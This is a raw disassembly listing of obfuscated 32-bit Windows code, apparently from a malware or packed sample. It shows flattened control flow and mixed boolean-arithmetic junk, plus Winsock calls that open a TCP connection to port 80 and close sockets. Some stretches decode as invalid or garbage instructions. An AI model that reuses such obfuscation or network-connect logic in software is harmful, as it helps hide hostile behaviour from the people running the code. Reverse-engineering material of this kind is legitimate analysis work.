and edi, eax
add edi, 0xbf9764c9
mov eax, edi
xor eax, 0xffffffff
and eax, 0xb484aeb9
mov esi, 0xffffffff
xor esi, 0xb484aeb9
and edi, esi
mov edx, 0xffffffff
xor edx, 0xafa06723
and edx, 0xb484aeb9
and esi, 0xafa06723
or eax, edi
or edx, esi
xor eax, edx
mov edx, 0xffffffff
xor edx, 0x4410e550
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
xor edx, edx
sub edx, 0x4566fcdf
add eax, edx
mov esi, 0x3a66b7e9
xor edx, edx
div esi
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor edx, 0x1f15c80c
mov esi, edx
and esi, esi
xor esi, 0xffffffff
and esi, 0xcd3c4b14
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xcd3c4b14
mov ebx, 0xffffffff
xor ebx, 0xcd3c4b14
or edi, ebx
and edx, edi
xor edx, 0xffffffff
and esi, edx
xor esi, 0xffffffff
mov edx, esi
and edx, 0x6369d473
shl edx, 1
xor esi, 0x6369d473
add esi, edx
mov edx, esi
and edx, 0x77e00d30
xor edx, 0xffffffff
add esi, 0x77e00d30
add esi, 1
add esi, edx
or esi, 0xa19bc11c
cmp dword [ecx], 0
setg cl
mov byte [ebp - 0x19d], cl
mov ecx, 0x90f205b5
mov edx, 0xd09a8b1d
cmp esi, 0x8112abc2
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdef4]
xor edx, edx
div dword [0x101cdef8]
mov ecx, eax
mov eax, ecx
and eax, 0xca14e588
or ecx, 0xca14e588
add eax, ecx
add eax, 0x4bac1033
mov ecx, eax
xor ecx, 0x226bf978
mov edx, 0xffffffff
xor edx, 0x226bf978
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0xffffffff
xor eax, 0x85d794be
mov edx, 0xffffffff
xor edx, 0x85d794be
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
and eax, 0xc59bd48b
or ecx, 0xc59bd48b
add eax, ecx
sub eax, 0x4f28caf1
imul ecx, eax, 0xab83fb79
xor ecx, 0x9cb6b6c9
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x9482e932
mov edx, 0xffffffff
xor edx, 0x9482e932
and ecx, edx
or eax, ecx
mov edx, 0xffffffff
xor edx, 0xbf6f39a9
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xbf6f39a9
add eax, edx
sub eax, ecx
xor eax, 0xa28c2726
mov edx, 0xffffffff
xor edx, 0x4492ab28
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x4492ab28
add eax, edx
sub eax, ecx
imul eax, eax, 0x9de2ab12
mov edx, eax
xor edx, 0xffffffff
and edx, 0xecdd4869
mov esi, 0xffffffff
xor esi, 0xecdd4869
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xecdd4869
or eax, 0xecdd4869
imul eax, edx
add eax, ecx
imul ecx, eax, 0x5b78e27b
sub ecx, 0x2c7ab08b
mov eax, ecx
xor eax, 0x4e1c8e5
mov edx, 0xffffffff
xor edx, 0x4e1c8e5
and ecx, edx
shl ecx, 1
sub ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x2c9def9b
mov edx, 0xffffffff
xor edx, 0x2c9def9b
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0x460496ed
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x14420ea6
or edx, 0x14420ea6
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x14420ea6
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc153357f
mov ecx, 0xffffffff
xor ecx, 0x72cced55
or eax, edx
or ecx, 0x72cced55
xor eax, 0xffffffff
and eax, ecx
and eax, 0x1392da73
mov ecx, eax
xor ecx, 0x81116b4
mov edx, 0xffffffff
xor edx, 0x81116b4
and eax, edx
shl eax, 1
sub eax, ecx
sub eax, 0x1e8cc90b
mov ecx, eax
and ecx, 0xb876eb71
shl ecx, 1
add eax, 0xb876eb71
sub eax, ecx
add eax, 0x45669621
add eax, 0xc08d2579
sub eax, 0x45669621
mov ecx, eax
xor ecx, 0x52addd7b
mov edx, 0xffffffff
xor edx, 0x52addd7b
and eax, edx
shl eax, 1
sub eax, ecx
imul eax, eax, 0x598e1aef
add eax, 0x789f0a08
sub eax, 0x72c58ff4
sub eax, 0x6d57ecf
mov edx, 0xffffffff
xor edx, 0xe84cb7b9
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe84cb7b9
add eax, edx
sub eax, ecx
mov ecx, 0xd6ba2e99
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd79edc1
mov edx, 0xffffffff
xor edx, 0xd79edc1
and ecx, edx
or eax, ecx
mov ecx, 0x2957c71f
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
add ecx, 0xea7e91b7
sub ecx, 0xdf888afe
sub ecx, 0xea7e91b7
add ecx, 0xb6a4336d
mov edx, 0xffffffff
xor edx, 0x32fd2de4
mov esi, ecx
xor esi, edx
and esi, ecx
mov ecx, esi
xor ecx, 0x36a7a3b4
mov edx, 0xffffffff
xor edx, 0x36a7a3b4
and esi, edx
shl esi, 1
sub esi, ecx
add esi, 0xf817c985
mov ecx, 0x676ef64f
mov edx, 0x2af1e7c3
cmp esi, 0x29dd2d77
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [str.y_vsr]
xor eax, dword [0x101cdf08]
imul eax, eax, 0xf9b7507
add eax, 0x5e3cb0db
mov ecx, eax
and ecx, 0x9462d768
shl ecx, 1
add eax, 0x9462d768
sub eax, ecx
or eax, 0x10e51fae
and eax, 0x8b386d10
mov ecx, eax
and ecx, 0x2663c0bb
xor ecx, 0xffffffff
add eax, 0x2663c0bb
add eax, 1
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe4fbd866
mov ecx, 0xffffffff
xor ecx, 0x2f14f3b5
or eax, edx
or ecx, 0x2f14f3b5
xor eax, 0xffffffff
and eax, ecx
and eax, 0x9e367136
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xa2d12e33
and ecx, 0xa2d12e33
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x40e06b04
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x32bcb8c7
mov eax, 0xffffffff
xor eax, 0xac5fae11
or ecx, edx
or eax, 0xac5fae11
xor ecx, 0xffffffff
and ecx, eax
add ecx, 0x2df3c53b
and ecx, 0xbf84cc8a
mov edx, 0xffffffff
xor edx, 0x2946038
mov eax, ecx
xor eax, edx
and eax, ecx
add eax, 0x3a3309db
mov edx, 0xffffffff
xor edx, 0x945d73a7
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, 0xffffffff
xor edx, 0xa09e36bf
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xa09e36bf
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xd69d77ae
mov edx, 0xffffffff
xor edx, 0xd69d77ae
and ecx, edx
shl ecx, 1
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xc4f60843
mov esi, 0xffffffff
xor esi, 0xc4f60843
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xc4f60843
or ecx, 0xc4f60843
imul ecx, edx
add ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x443f7db
add ecx, eax
add ecx, 0xd587e689
mov eax, ecx
xor eax, 0x5593c6e9
xor eax, 0xffffffff
or ecx, 0x5593c6e9
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xb8f6b3be
mov esi, 0xffffffff
xor esi, 0xb8f6b3be
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xb8f6b3be
or ecx, 0xb8f6b3be
imul ecx, edx
add ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xebd25a54
mov edx, 0xffffffff
xor edx, 0xebd25a54
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0xffc5f439
shl eax, 1
add ecx, 0xffc5f439
sub ecx, eax
sub ecx, 0x51c9cc3
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xac8ede73
mov esi, 0xffffffff
xor esi, 0xac8ede73
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xac8ede73
or ecx, 0xac8ede73
imul ecx, edx
add ecx, eax
xor ecx, 0x2196c3db
add ecx, 0x8bd4d26e
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x1ff60442
mov esi, 0xffffffff
xor esi, 0x1ff60442
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x1ff60442
or ecx, 0x1ff60442
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x1a8], eax
mov esi, 0xffffffff
xor esi, 0xd07bb0db
mov edx, 0xffffffff
xor edx, 0x399ab05e
and eax, 0x399ab05e
and ecx, edx
mov edi, esi
and edi, 0x399ab05e
mov ebx, edx
and ebx, 0xd07bb0db
or eax, ecx
mov ecx, dword [ebp - 0x1a8]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x399ab05e
and ecx, edx
or eax, ecx
sub eax, 0x8cf84409
mov ecx, 0x76bf4deb
xor edx, edx
div ecx
mov ecx, 0xf7ae3031
xor edx, edx
div ecx
xor eax, 0xeb481230
mov ecx, 0x2a6b52dc
xor edx, edx
div ecx
add eax, 0xf6e6dfee
sub eax, 0x17ec9676
sub eax, 0xf6e6dfee
imul ecx, eax, 0xef2dc2db
mov eax, ecx
or eax, 0x54a159d9
xor eax, 0xffffffff
or ecx, 0x54a159d9
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xd5f78ac6
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov edx, dword [eax]
mov edi, dword [edx]
add edi, 0x14
mov edx, dword [eax]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [eax + 4]
mov edi, dword [edx]
mov ebx, edi
xor ebx, 0xffffffff
and ebx, 0x14
mov eax, 0xffffffff
xor eax, 0x14
and edi, eax
mov eax, dword [ebp - 0x1c]
sub edi, ebx
mov dword [edx], edi
mov dword [ecx], 1
mov ecx, 0xc7180056
mov edx, 0xc4015614
cmp esi, 0xb8f0d9f7
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdf0c]
xor edx, edx
div dword [0x101cdf10]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xe0eb187e
mov edx, 0xffffffff
xor edx, 0xe0eb187e
and ecx, edx
or eax, ecx
and eax, 0xd2c3047
xor eax, 0x5ac1751f
and eax, 0xc2b92b12
add eax, 0x75af3c10
add eax, 0x816c1a37
sub eax, 0x75af3c10
mov ecx, 0x110afffa
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x65eee7e9
add eax, ecx
mov ecx, eax
and ecx, 0xfd5934be
shl ecx, 1
xor eax, 0xfd5934be
add eax, ecx
sub eax, 0x9f69752d
sub eax, 0xe0269b19
add eax, 0x9f69752d
sub eax, 0x6c51ee5a
sub eax, 0x19793dbb
add eax, 0x6c51ee5a
mov esi, 0xffffffff
xor esi, 0x1c95aac8
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x1c95aac8
or eax, 0x1c95aac8
imul eax, edx
add eax, ecx
add eax, 0xadf824e7
xor ecx, ecx
sub ecx, 0x13f30d57
sub eax, ecx
mov ecx, 0x91a88ece
xor edx, edx
div ecx
or eax, 0x7c6ea3b
add eax, 0xe5576e22
xor eax, 0x26fa8fbd
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xa569884c
mov edx, 0xffffffff
xor edx, 0xa569884c
and eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x9538407
shl ecx, 1
add eax, 0x9538407
sub eax, ecx
imul eax, eax, 0x9ec32724
add eax, 0x8ff03803
mov ecx, eax
xor ecx, 0xaeabdd56
xor ecx, 0xffffffff
or eax, 0xaeabdd56
and eax, ecx
and eax, 0xed63853e
mov ecx, 0x7aa875d
xor edx, edx
div ecx
mov ecx, 0x3809dc3f
xor edx, edx
div ecx
sub eax, 0x8d8c689
add eax, 0x9e508dec
sub eax, 0x1b7c2141
sub eax, 0x9e508dec
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x1ac], ecx
mov esi, 0xffffffff
xor esi, 0x24046cc3
mov edx, 0xffffffff
xor edx, 0xdea2324b
and ecx, 0xdea2324b
and eax, edx
mov edi, esi
and edi, 0xdea2324b
mov ebx, edx
and ebx, 0x24046cc3
or ecx, eax
mov eax, dword [ebp - 0x1ac]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xdea2324b
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0xb081fe52
or ecx, 0xb081fe52
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x27eb7b39
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x27eb7b39
or eax, 0x27eb7b39
imul eax, edx
add eax, ecx
and eax, 0x6c237d4e
mov edx, 0xffffffff
xor edx, 0xb93d1876
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xb93d1876
add eax, edx
sub eax, ecx
mov ecx, 0x9b76f9dc
xor edx, edx
div ecx
xor eax, 0x573511ae
mov esi, 0xffffffff
xor esi, 0x7001c3ed
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7001c3ed
or eax, 0x7001c3ed
imul eax, edx
add eax, ecx
xor eax, 0x34d49160
sub eax, 0x8798d9e7
or eax, 0xba039b50
imul eax, eax, 0x3ce8358f
mov ecx, 0x205a5dcb
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x14ec4826
mov edx, 0xf40bedd8
cmp esi, 0x9dd1f64e
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xed54afe4
jmp 0x1009a830
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101ad838
mov eax, dword [ebp - 0x1b4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x88]
mov eax, 0x21920411
lahf
push eax
xchg byte [ecx], ah
dec edx
push cs
pop es
mov dword [edx], 0x1000
mov dword [ecx], 0
mov ecx, dword [0x101cb004]
mov ecx, dword [ecx]
mov dword [eax + 4], ecx
mov word [eax], 2
sub esp, 4
mov dword [esp], 0x50
call dword [0x101d23f0]
mov ecx, eax
mov eax, dword [ebp - 0x80]
mov word [eax + 2], cx
xor eax, eax
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [0x101d23dc]
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
mov dword [edx], eax
mov eax, dword [0x101d23e0]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, dword [ebp - 0x84]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0x4215b1c1
jmp 0x1009a830
mov eax, dword [0x101cdf54]
xor edx, edx
div dword [0x101cdf58]
mov ecx, eax
add ecx, 0x62f738d8
and ecx, 0x5ffd929d
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x1d0], eax
mov esi, 0xffffffff
xor esi, 0x8feca93a
mov edx, 0xffffffff
xor edx, 0xd341044c
and eax, 0xd341044c
and ecx, edx
mov edi, esi
and edi, 0xd341044c
mov ebx, edx
and ebx, 0x8feca93a
or eax, ecx
mov ecx, dword [ebp - 0x1d0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xd341044c
and ecx, edx
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x68f4879f
add eax, ecx
xor eax, 0xc69bf180
mov ecx, 0x8828c407
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xc7a4c4fe
xor ecx, 0xffffffff
or eax, 0xc7a4c4fe
and eax, ecx
xor ecx, ecx
sub ecx, 0x153d5f5a
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xda5a6f77
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
or eax, 0x9e284e60
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x1cc], ecx
mov esi, 0xffffffff
xor esi, 0x941b90f9
mov edx, 0xffffffff
xor edx, 0x76e30010
and ecx, 0x76e30010
and eax, edx
mov edi, esi
and edi, 0x76e30010
mov ebx, edx
and ebx, 0x941b90f9
or ecx, eax
mov eax, dword [ebp - 0x1cc]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x76e30010
and eax, edx
or ecx, eax
add ecx, 0x99353a1
sub ecx, 0x8e7f88ff
sub ecx, 0x99353a1
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x60ef5a27
mov esi, 0xffffffff
xor esi, 0x99bbadad
mov eax, edx
and eax, 0x99bbadad
mov dword [ebp - 0x1c8], eax
and ecx, esi
mov ebx, edi
and ebx, 0x99bbadad
mov eax, esi
and eax, 0x60ef5a27
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c8]
or eax, ecx
mov ecx, dword [ebp - 0x1c4]
or ebx, ecx
mov ecx, dword [ebp - 0x80]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x99bbadad
and edx, esi
or eax, edx
add eax, 0x320064fd
add eax, 0xe8d3bfa4
sub eax, 0x320064fd
mov edx, eax
and edx, 0xbaf57659
or eax, 0xbaf57659
add edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0x94727c0b
mov esi, 0xffffffff
xor esi, 0x94727c0b
and edx, esi
sub edx, eax
xor edx, 0x315ddbde
mov esi, 0xffffffff
xor esi, 0x70385f69
mov eax, edx
xor eax, esi
and eax, edx
and eax, 0x4946dd54
add eax, 0xa8f4745f
or eax, 0xbe792576
xor edx, edx
sub edx, 0x65aa43c3
sub eax, edx
mov esi, 0x99cfb6fc
xor edx, edx
div esi
xor edx, edx
sub edx, 0xc3563569
add eax, edx
sub eax, 0x7482dfeb
sub eax, 0x3174f08c
add eax, 0x7482dfeb
xor eax, 0xf407fed6
mov esi, 0xf3428386
xor edx, edx
div esi
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0x62d110ec
add edx, eax
xor eax, eax
sub eax, edx
sub eax, 0x9907bfc5
add eax, 0x5ba82b7c
add eax, 0x9907bfc5
and eax, 0x6093584
mov edx, eax
xor edx, 0x8e2f1176
mov esi, 0xffffffff
xor esi, 0x8e2f1176
and eax, esi
shl eax, 1
sub eax, edx
imul eax, eax, 0x4315ce34
add eax, 0xf500bdf
or eax, 0xdd93641b
mov esi, 0x84478df4
xor edx, edx
div esi
mov edx, dword [ebp - 0x7c]
mov esi, 0xffffffff
xor esi, 0xb17b8c2a
add eax, esi
add eax, 1
mov esi, eax
xor esi, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
or esi, edi
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x3a59c75c
or esi, edi
mov edi, 0x3a59c75c
and edi, 0x3a59c75c
xor edi, 0xffffffff
and eax, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
xor eax, 0xffffffff
or esi, eax
mov edi, 0xffffffff
xor edi, 0x6be048bb
mov eax, esi
and eax, edi
mov edi, esi
xor edi, 0x6be048bb
add esi, edi
sub esi, eax
sub esi, 0x1005f580
add esi, 0x6e78a536
add esi, 0x1005f580
mov ebx, 0xffffffff
xor ebx, 0xd13d2290
mov edi, esi
and edi, ebx
mov eax, esi
or eax, ebx
xor eax, 0xffffffff
imul eax, edi
mov edi, esi
and edi, 0xd13d2290
or esi, 0xd13d2290
imul esi, edi
add esi, eax
iretd
mov esi, dword [ebp - 0x64]
mov edi, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
push ecx
pop ebx
and al, 0xdb
cmp dh, dl
push esp
fist word [esi - 0x36cebb4a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.101af9c0
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov dword [edi], 0
mov dword [esi], 0
mov dword [edx], 1
mov dword [ecx], 0
mov dword [eax], 0xbf39210e
jmp 0x1009a830
mov ecx, dword [0x101cdf84]
imul ecx, dword [0x101cdf88]
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x1e4], eax
mov esi, 0xffffffff
xor esi, 0xc5b2fdfc
mov edx, 0xffffffff
xor edx, 0x5ac17250
and eax, 0x5ac17250
and ecx, edx
mov edi, esi
and edi, 0x5ac17250
mov ebx, edx
and ebx, 0xc5b2fdfc
or eax, ecx
mov ecx, dword [ebp - 0x1e4]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5ac17250
and ecx, edx
or eax, ecx
and eax, 0x5a9dae53
mov ecx, eax
or ecx, 0x13a59a44
xor ecx, 0xffffffff
or eax, 0x13a59a44
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xe27a91f9
sub ecx, 0x65667254
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x63a27a79
and ecx, 0x63a27a79
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xa0fe41b4
mov ecx, 0x5263cef1
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x9c1f10ac
mov eax, ecx
and eax, 0xaac8fc45
or ecx, 0xaac8fc45
add eax, ecx
add eax, 0x6da1eaa1
mov esi, 0xffffffff
xor esi, 0x936a58c0
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x936a58c0
or eax, 0x936a58c0
imul eax, edx
add eax, ecx
mov ecx, 0x6ca7522
xor edx, edx
div ecx
sub eax, 0x1e9ec8f2
or eax, 0xf71c16e5
mov ecx, eax
xor ecx, 0x59c3c6c5
mov edx, 0xffffffff
xor edx, 0x59c3c6c5
and eax, edx
shl eax, 1
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9013735b
mov esi, 0xffffffff
xor esi, 0x9013735b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9013735b
or eax, 0x9013735b
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0xbffb2726
add eax, ecx
mov ecx, 0x787f00f3
xor edx, edx
div ecx
or eax, 0xeae0d4ac
mov ecx, 0xd56815d7
xor edx, edx
div ecx
or eax, 0x75818d53
mov esi, 0xffffffff
xor esi, 0xc3188824
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc3188824
or eax, 0xc3188824
imul eax, edx
add eax, ecx
imul eax, eax, 0x96e9d399
imul ecx, eax, 0x6549de28
mov eax, ecx
or eax, 0xbd6911e
xor eax, 0xffffffff
or ecx, 0xbd6911e
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0x621a0625
imul eax, eax, 0x6732757d
imul ecx, eax, 0xf5fc7f3c
mov edx, 0xffffffff
xor edx, 0x9640b333
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x9640b333
add ecx, edx
sub ecx, eax
or ecx, 0x463c93ff
mov eax, ecx
and eax, 0x7118b3f2
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7118b3f2
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
or eax, 0x26e69bb8
mov esi, 0xffffffff
xor esi, 0x5e1660a5
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5e1660a5
or eax, 0x5e1660a5
imul eax, edx
add eax, ecx
imul eax, eax, 0x380f1a5e
mov ecx, 0xfdf8faf5
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
add ecx, 0xaba5e293
and ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x61202b0
mov esi, 0xffffffff
xor esi, 0x61202b0
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xf31ebd36
mov edi, 0xffffffff
push ds
mov edi, 0xffffffff
xor edi, 0xf31ebd36
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0xf31ebd36
or ecx, 0xf31ebd36
imul ecx, esi
add ecx, edx
imul esi, ecx, 0x2ef0e72
scasb al, byte es:[edi]
ror dword [eax + esi*2 - 0x51168484], 1
les edx, [edx + 0x55a8d163]
cmc
mov al, byte [0x7edddeb9]
mov eax, dword [0xeaf4bbba]
push es
cmp esi, 0x3c49abf2
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xafe3b400
jmp 0x1009a830
mov eax, dword [ebp - 0x7c]
and eax, 0xe13eddc0
js 0x1009a014
test eax, 0xfa5b2025
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x1c]
mov esi, dword [edx]
mov edi, dword [esi]
add edi, 0x14
mov esi, dword [edx]
mov dword [esi], edi
mov edx, dword [edx]
mov edx, dword [edx + 4]
mov esi, dword [edx]
add esi, 0xeec7741b
sub esi, 0x14
sub esi, 0xeec7741b
mov dword [edx], esi
mov dword [ecx], 1
mov dword [eax], 0xc4015614
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
sahf
push ebp
xchg dword [esi + 0x13], esi
test esi, edx
cmp eax, ecx
or esi, esi
push edi
mov ecx, dword [0x101d25c0]
mov dword [eax], 0xb8d53886
jmp 0x1009a830
leave
mov bl, 0xf5
invalid
mov eax, dword [ebp - 0x1c]
dec esp
out 0x99, al
bound ecx, qword [ebp - 0x68]
jne 0x1009a18a
fdivr dword [ebx + 0x19]
enter 0xc7, 0xfffffffffffffffc
int3
jl 0x1009a16c
inc esi
mov edi, 0xc786355b
add byte [ebp - 0x7f], 0xea
scasb al, byte es:[edi]
push esi
invalid
mov esi, dword [ebp - 0x7c]
outsb dx, byte [esi]
or byte [edi + 0xcdc5d7c], ah
push ds
and eax, 0x83b1f856
in al, dx
add al, 0xc7
add al, 0x24
add al, 1
add byte [eax], al
call fcn.101ad82a
mov edx, dword [ebp - 0x74]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov ecx, dword [0x101cb5fa]
mov dword [edx], ecx
mov ecx, dword [0x101cb5fe]
mov dword [edx + 4], ecx
mov ecx, dword [0x101cb602]
mov dword [edx + 8], ecx
mov cl, byte [0x101cb606]
mov byte [edx + 0xc], cl
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.101b40e0
mov ecx, dword [ebp - 0x78]
add esp, 8
mov eax, dword [0x101d22f0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
lea eax, [0x101d1930]
add eax, 0x1f4
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0x78]
add esp, 8
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
lea eax, [0x101c6a43]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0x78]
add esp, 8
